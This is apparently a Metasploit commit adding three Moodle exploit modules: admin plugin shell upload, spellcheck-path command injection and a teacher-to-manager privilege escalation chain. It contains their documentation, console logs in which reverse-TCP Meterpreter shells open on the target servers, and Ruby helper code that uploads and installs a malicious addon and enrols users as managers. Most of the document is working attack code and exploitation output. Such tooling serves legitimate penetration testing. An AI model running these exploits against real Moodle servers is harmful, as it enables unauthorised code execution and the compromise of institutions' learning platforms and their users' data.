Land #15612, Add multiple moodle modules
This commit is contained in:
@@ -0,0 +1,232 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will generate a plugin which can receive a malicious
|
||||
payload request and upload it to a server running Moodle
|
||||
provided valid admin credentials are used. Then the payload
|
||||
is sent for execution, and the plugin uninstalled.
|
||||
|
||||
You must have an admin account to exploit this vulnerability.
|
||||
|
||||
Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install moodle
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploits/multi/http/moodle_admin_shell_upload`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### Username
|
||||
|
||||
Username for an admin user. Default is `admin`
|
||||
|
||||
### Password
|
||||
|
||||
Password for an admin user
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Moodle 3.8.0 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (moodle_upload.rb)> set username admin
|
||||
username => admin
|
||||
resource (moodle_upload.rb)> set password Adminadmin1!
|
||||
password => Adminadmin1!
|
||||
resource (moodle_upload.rb)> set targeturi /moodle-3.8.0/
|
||||
targeturi => /moodle-3.8.0/
|
||||
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set lhost eth0
|
||||
lhost => eth0
|
||||
resource (moodle_upload.rb)> exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exploitable Moodle version 3.8 detected
|
||||
[*] Authenticating as user: admin
|
||||
[+] Authentication was successful with user: admin
|
||||
[*] Creating addon file
|
||||
[*] Creating plugin named: oganetpo with poisoned header: YLYF
|
||||
[*] Uploading addon
|
||||
[+] Upload Successful. Integrating addon
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (39282 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56312) at 2021-09-02 17:05:39 -0400
|
||||
[*] Uninstalling plugin
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : moodle
|
||||
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
```
|
||||
|
||||
### Moodle 3.6.3 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (moodle_upload.rb)> set username admin
|
||||
username => admin
|
||||
resource (moodle_upload.rb)> set password Adminadmin1!
|
||||
password => Adminadmin1!
|
||||
resource (moodle_upload.rb)> set targeturi /moodle-3.6.3/
|
||||
targeturi => /moodle-3.6.3/
|
||||
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set lhost eth0
|
||||
lhost => eth0
|
||||
resource (moodle_upload.rb)> exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exploitable Moodle version 3.6.3 detected
|
||||
[*] Authenticating as user: admin
|
||||
[+] Authentication was successful with user: admin
|
||||
[*] Creating addon file
|
||||
[*] Creating plugin named: vnckinyr with poisoned header: BMDI
|
||||
[*] Uploading addon
|
||||
[+] Upload Successful. Integrating addon
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (39282 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56316) at 2021-09-02 17:09:41 -0400
|
||||
[*] Uninstalling plugin
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : moodle
|
||||
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
```
|
||||
|
||||
### Moodle 3.9.0 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (moodle_upload.rb)> set username admin
|
||||
username => admin
|
||||
resource (moodle_upload.rb)> set password Adminadmin1!
|
||||
password => Adminadmin1!
|
||||
resource (moodle_upload.rb)> set targeturi /moodle-3.9.0/
|
||||
targeturi => /moodle-3.9.0/
|
||||
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set lhost eth0
|
||||
lhost => eth0
|
||||
resource (moodle_upload.rb)> exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected
|
||||
[*] Authenticating as user: admin
|
||||
[+] Authentication was successful with user: admin
|
||||
[*] Creating addon file
|
||||
[*] Creating plugin named: taztsyap with poisoned header: ARHW
|
||||
[*] Uploading addon
|
||||
[+] Upload Successful. Integrating addon
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (39282 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56318) at 2021-09-02 17:11:20 -0400
|
||||
[*] Uninstalling plugin
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : moodle
|
||||
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
```
|
||||
|
||||
### Moodle 3.10.0 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (moodle_upload.rb)> set username admin
|
||||
username => admin
|
||||
resource (moodle_upload.rb)> set password Adminadmin1!
|
||||
password => Adminadmin1!
|
||||
resource (moodle_upload.rb)> set targeturi /moodle-3.10.0/
|
||||
targeturi => /moodle-3.10.0/
|
||||
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set lhost eth0
|
||||
lhost => eth0
|
||||
resource (moodle_upload.rb)> exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected
|
||||
[*] Authenticating as user: admin
|
||||
[+] Authentication was successful with user: admin
|
||||
[*] Creating addon file
|
||||
[*] Creating plugin named: yciymtns with poisoned header: YBIT
|
||||
[*] Uploading addon
|
||||
[+] Upload Successful. Integrating addon
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (39282 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56320) at 2021-09-02 17:16:52 -0400
|
||||
[*] Uninstalling plugin
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : moodle
|
||||
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
```
|
||||
|
||||
### Moodle 3.11.2 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (moodle_upload.rb)> set username admin
|
||||
username => admin
|
||||
resource (moodle_upload.rb)> set password Adminadmin1!
|
||||
password => Adminadmin1!
|
||||
resource (moodle_upload.rb)> set targeturi /moodle-3.11.2/
|
||||
targeturi => /moodle-3.11.2/
|
||||
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
resource (moodle_upload.rb)> set lhost eth0
|
||||
lhost => eth0
|
||||
resource (moodle_upload.rb)> exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected
|
||||
[*] Authenticating as user: admin
|
||||
[+] Authentication was successful with user: admin
|
||||
[*] Creating addon file
|
||||
[*] Creating plugin named: fwjdzsuj with poisoned header: ZLCW
|
||||
[*] Uploading addon
|
||||
[+] Upload Successful. Integrating addon
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (39282 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56326) at 2021-09-02 17:27:06 -0400
|
||||
[*] Uninstalling plugin
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : moodle
|
||||
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
```
|
||||
@@ -0,0 +1,118 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
|
||||
An administrator can update the aspell path to include a command injection. This is extremely
|
||||
similar to CVE-2013-3630, just using a different variable.
|
||||
|
||||
This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0. Based on the
|
||||
Talos advisory: `2021-04-21 - Vendor updated documentation to suggest best practices after installation`,
|
||||
it is unclear if Moodle will patch this. Therefore it is unclear what the upper bounds
|
||||
is on exploitation.
|
||||
|
||||
### Install
|
||||
|
||||
Moodle provides a step by step guide to install their software
|
||||
[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploits/multi/http/moodle_spelling_path_rce`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### Passowrd
|
||||
|
||||
Password of an administrator.
|
||||
|
||||
### Username
|
||||
|
||||
Username of an administrator. Defaults to `admin`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Moodle 3.10.0 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
[*] Processing moodle_spellcheck.rb for ERB directives.
|
||||
resource (moodle_spellcheck.rb)> use exploits/multi/http/moodle_spelling_path_rce
|
||||
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
||||
resource (moodle_spellcheck.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (moodle_spellcheck.rb)> set username admin
|
||||
username => admin
|
||||
resource (moodle_spellcheck.rb)> set password Adminadmin1!
|
||||
password => Adminadmin1!
|
||||
resource (moodle_spellcheck.rb)> set targeturi /moodle-3.10.0/
|
||||
targeturi => /moodle-3.10.0/
|
||||
resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
resource (moodle_spellcheck.rb)> set proxies http:127.0.0.1:8080
|
||||
proxies => http:127.0.0.1:8080
|
||||
resource (moodle_spellcheck.rb)> set ReverseAllowProxy true
|
||||
ReverseAllowProxy => true
|
||||
resource (moodle_spellcheck.rb)> set lhost eth0
|
||||
lhost => eth0
|
||||
resource (moodle_spellcheck.rb)> exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected
|
||||
[*] Authenticating as user: admin
|
||||
[*] Updating aspell path
|
||||
[*] Changing spell engine to PSpellShell
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (39282 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56124) at 2021-08-29 10:03:37 -0400
|
||||
[*] Sleeping 5 seconds before cleanup
|
||||
[*] Authenticating as user: admin
|
||||
[*] Removing RCE from settings
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
meterpreter > sysinfo
|
||||
Computer : moodle
|
||||
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
```
|
||||
|
||||
### Moodle 3.11.2 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (moodle_spellcheck.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (moodle_spellcheck.rb)> set username admin
|
||||
username => admin
|
||||
resource (moodle_spellcheck.rb)> set password Adminadmin1!
|
||||
password => Adminadmin1!
|
||||
resource (moodle_spellcheck.rb)> set targeturi /moodle-3.11.2/
|
||||
targeturi => /moodle-3.11.2/
|
||||
resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
resource (moodle_spellcheck.rb)> set lhost eth0
|
||||
lhost => eth0
|
||||
resource (moodle_spellcheck.rb)> exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected
|
||||
[*] Authenticating as user: admin
|
||||
[*] Updating aspell path
|
||||
[*] Changing spell engine to PSpellShell
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (39282 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56130) at 2021-08-29 10:22:03 -0400
|
||||
[*] Sleeping 5 seconds before cleanup
|
||||
[*] Authenticating as user: admin
|
||||
[*] Removing RCE from settings
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : moodle
|
||||
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
```
|
||||
+119
@@ -0,0 +1,119 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions
|
||||
allow for a teacher to exploit chain to RCE. A bug in the privileges system allows a teacher
|
||||
to add themselves as a manager to their own class. They can then add any other users, and thus
|
||||
look to add someone with manager privileges on the system (not just the class). After
|
||||
adding a system manager, a 'loginas' feature is used to access their account. Next the system
|
||||
is reconfigured to allow for all users to install an addon/plugin. Then a malicious theme
|
||||
is uploaded and creates an RCE.
|
||||
|
||||
If all of that is a success, we revert permissions for managers to system default and
|
||||
remove our malicoius theme. Manual cleanup to remove students from the class is required.
|
||||
|
||||
This module was tested against Moodle version 3.9
|
||||
|
||||
### Install
|
||||
|
||||
Moodle provides a step by step guide to install their software. However you'll want to use
|
||||
`3.9.0` isntead of `3.11.0`.
|
||||
[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### MAXUSERS
|
||||
|
||||
The amount of users to add to the class in hopes of finding a manager. Defaults to `100`.
|
||||
|
||||
### Passowrd
|
||||
|
||||
Password of a teacher.
|
||||
|
||||
### Username
|
||||
|
||||
Username of a teacher.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Moodle 3.9.0 on Ubuntu 20.04
|
||||
|
||||
```
|
||||
resource (moodle_privesc.rb)> use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
resource (moodle_privesc.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (moodle_privesc.rb)> set targeturi /moodle-3.9.0/
|
||||
targeturi => /moodle-3.9.0/
|
||||
resource (moodle_privesc.rb)> set username teacher
|
||||
username => teacher
|
||||
resource (moodle_privesc.rb)> set password Teacherteacher1!
|
||||
password => Teacherteacher1!
|
||||
resource (moodle_privesc.rb)> set lhost eth0
|
||||
lhost => eth0
|
||||
resource (moodle_privesc.rb)> set MAXUSERS 10
|
||||
MAXUSERS => 10
|
||||
resource (moodle_privesc.rb)> run
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected
|
||||
[*] Authenticating as user: teacher
|
||||
[*] Retrieving user info
|
||||
[+] User ID: 4
|
||||
[+] Course ID: 2
|
||||
[+] Sessionkey: R1lSAKDT73
|
||||
[*] Retrieving course enrollment id
|
||||
[+] Enrol ID: 1
|
||||
[*] Attempting to enrolin in class as manager (priv esc)
|
||||
[+] Successfully enrolled
|
||||
[*] Attempting to find and add a manager to class
|
||||
[*] Attempting user: 2
|
||||
[+] Successfully enrolled
|
||||
[*] Attempting user: 3
|
||||
[+] Successfully enrolled
|
||||
[*] Attempting user: 4
|
||||
[+] Successfully enrolled
|
||||
[*] Attempting user: 5
|
||||
[+] Successfully enrolled
|
||||
[*] Attempting user: 6
|
||||
[-] Unsuccessful
|
||||
[*] Attempting user: 7
|
||||
[-] Unsuccessful
|
||||
[*] Attempting user: 8
|
||||
[-] Unsuccessful
|
||||
[*] Attempting user: 9
|
||||
[-] Unsuccessful
|
||||
[*] Retrieving course context id
|
||||
[+] Context ID: 28
|
||||
[+] Found manager user IDs: ["5", "4"]
|
||||
[*] Attempting loginas for user id: 5
|
||||
[*] Logged in as: manager manager
|
||||
[+] Looks like a potentially good manager account!
|
||||
[*] Attempting via new session key: gUocfkXDpe
|
||||
[*] Checking if permissions were set successfully
|
||||
[+] Manager roll full permissioned, attempting to upload shell
|
||||
[*] Creating plugin named: mbdzduot with poisoned header: PIYB
|
||||
[*] Uploading addon
|
||||
[+] Upload Successful. Integrating addon
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (39282 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56418) at 2021-09-04 13:21:51 -0400
|
||||
[*] Uninstalling plugin
|
||||
[*] Resetting permissions
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : moodle
|
||||
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with moodle installations
|
||||
module Moodle
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Moodle::Base
|
||||
include Msf::Exploit::Remote::HTTP::Moodle::Version
|
||||
include Msf::Exploit::Remote::HTTP::Moodle::URIs
|
||||
include Msf::Exploit::Remote::HTTP::Moodle::Helpers
|
||||
include Msf::Exploit::Remote::HTTP::Moodle::Login
|
||||
include Msf::Exploit::Remote::HTTP::Moodle::Course
|
||||
include Msf::Exploit::Remote::HTTP::Moodle::Admin
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the moodle application', '/'])
|
||||
], Msf::Exploit::Remote::HTTP::Moodle
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('MOODLECHECK', [true, 'Check if the website is a valid Moodle install', true]),
|
||||
], Msf::Exploit::Remote::HTTP::Moodle
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,151 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Moodle::Admin
|
||||
# Retrieves variables required for uploading an addon
|
||||
#
|
||||
# @return [String] session key
|
||||
# @return [String] item id
|
||||
# @return [String] author name
|
||||
# @return [String] client id
|
||||
def get_addon_variables
|
||||
res = send_request_cgi!(
|
||||
'keep_cookies' => true,
|
||||
'uri' => moodle_admin_addon_install
|
||||
)
|
||||
|
||||
sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
|
||||
item_id = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
|
||||
author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
|
||||
client_id = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
|
||||
return sesskey, item_id, author, client_id
|
||||
end
|
||||
|
||||
# Uploads an addon to Moodle
|
||||
#
|
||||
# @param addon_name [String] Name of addon to be uploaded
|
||||
# @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
|
||||
# @param addon_content [ZipArchive] Zip of the addon content
|
||||
# @return [String,nil] file ID of the uploaded zip file, nil on failure
|
||||
# @return [String,nil] Session key, nil on failure
|
||||
def upload_addon(addon_name, moodle_version, addon_content)
|
||||
sesskey, item_id, author, client_id = get_addon_variables
|
||||
# creating multipart data for the upload addon file
|
||||
pdata = Rex::MIME::Message.new
|
||||
pdata.add_part(addon_content, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{addon_name}.zip\"")
|
||||
pdata.add_part('', nil, nil, 'form-data; name="title"')
|
||||
pdata.add_part(author, nil, nil, 'form-data; name="author"')
|
||||
pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
|
||||
pdata.add_part(item_id, nil, nil, 'form-data; name="itemid"')
|
||||
pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
|
||||
if moodle_version < Rex::Version.new('3.9.0')
|
||||
pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
|
||||
else
|
||||
pdata.add_part('5', nil, nil, 'form-data; name="repo_id"')
|
||||
end
|
||||
pdata.add_part('', nil, nil, 'form-data; name="p"')
|
||||
pdata.add_part('', nil, nil, 'form-data; name="page"')
|
||||
pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
|
||||
pdata.add_part(sesskey, nil, nil, 'form-data; name="sesskey"')
|
||||
pdata.add_part(client_id, nil, nil, 'form-data; name="client_id"')
|
||||
pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
|
||||
pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
|
||||
pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
|
||||
pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'data' => pdata.to_s,
|
||||
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
|
||||
'keep_cookies' => true,
|
||||
'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'),
|
||||
'vars_get' => {
|
||||
'action' => 'upload'
|
||||
}
|
||||
})
|
||||
|
||||
unless res.body =~ /draftfile.php/
|
||||
return nil, nil
|
||||
end
|
||||
|
||||
file_id = res.body.split('draft\/')[1].split('\/')[0]
|
||||
return file_id, sesskey
|
||||
end
|
||||
|
||||
# Uninstalls an addon from Moodle
|
||||
#
|
||||
# @param addon_name [String] Name of addon to be uploaded
|
||||
# @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
|
||||
# @param sesskey [String] session key
|
||||
# @return [HttpResponse] HttpResponse object
|
||||
def remove_plugin(addon_name, moodle_version, sesskey)
|
||||
if moodle_version < Rex::Version.new('3.9.0')
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'cache' => '0',
|
||||
'confirmplugincheck' => '0',
|
||||
'abortinstallx' => '1',
|
||||
'confirmabortinstall' => '1',
|
||||
'sesskey' => sesskey
|
||||
}
|
||||
})
|
||||
else
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'cache' => '0',
|
||||
'confirmrelease' => '1',
|
||||
'confirmplugincheck' => '0',
|
||||
'abortinstallx' => addon_name,
|
||||
'confirmabortinstall' => '1',
|
||||
'sesskey' => sesskey
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
# Integrates an addon to Moodle
|
||||
#
|
||||
# @param sesskey [String] session key
|
||||
# @param file_id [String] ID of the file to integrate
|
||||
# @param plugin_name [String] name of the plugin file
|
||||
# @param type [String] The type of addon being added. Defaults to 'theme'
|
||||
# @return [HttpResponse,nil] HttpResponse object, nil on failure
|
||||
def plugin_integration(sesskey, file_id, plugin_name, type = 'theme')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'sesskey' => sesskey,
|
||||
'_qf__tool_installaddon_installfromzip_form' => '1',
|
||||
'mform_showmore_id_general' => '0',
|
||||
'mform_isexpanded_id_general' => '1',
|
||||
'zipfile' => file_id,
|
||||
'plugintype' => type,
|
||||
'rootdir' => '',
|
||||
'submitbutton' => 'Install+plugin+from+the+ZIP+file'
|
||||
}
|
||||
)
|
||||
|
||||
return nil unless res.body =~ /installzipstorage/
|
||||
|
||||
storage = res.body.split('installzipstorage=')[1].split('&')[0]
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'installzipcomponent' => "#{type}_#{plugin_name}",
|
||||
'installzipstorage' => storage,
|
||||
'installzipconfirm' => '1',
|
||||
'sesskey' => sesskey
|
||||
}
|
||||
)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Moodle::Base
|
||||
# Checks if the site is online and running moodle
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running moodle, nil otherwise
|
||||
def moodle_and_online?
|
||||
unless datastore['MOODLECHECK']
|
||||
vprint_status 'Skipping Moodle check...'
|
||||
return true
|
||||
end
|
||||
|
||||
moodle_detect_regexes = [
|
||||
/"moodle":{"name":"moodle",/i,
|
||||
]
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
}, 20, 10) # a cache inconsistency may result in 7 redirects
|
||||
|
||||
return res if res && res.code == 200 && res.body && moodle_detect_regexes.any? { |r| res.body =~ r }
|
||||
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error("Error connecting to #{target_uri}: #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,61 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Moodle::Course
|
||||
# performs a moodle course enrollment
|
||||
#
|
||||
# @param user_id [String] ID of the user to enrol
|
||||
# @param course_id [String] ID of the course to enrol in
|
||||
# @param enrol_id [String] ID of the enrolment
|
||||
# @param sess_key [String] session key
|
||||
# @param role [String] role to enrol as. 1 is manager, 5 is student
|
||||
# @return [Boolean] if the enrolment was successful or not
|
||||
def enrol(user_id, course_id, enrol_id, sess_key, role = '1')
|
||||
res = send_request_cgi({
|
||||
'uri' => moodle_enrol_ajax,
|
||||
'vars_get' => moodle_helper_enrol_get_data(user_id, course_id, enrol_id, sess_key, role),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
return false unless res
|
||||
if res.body.include?('success')
|
||||
return true
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
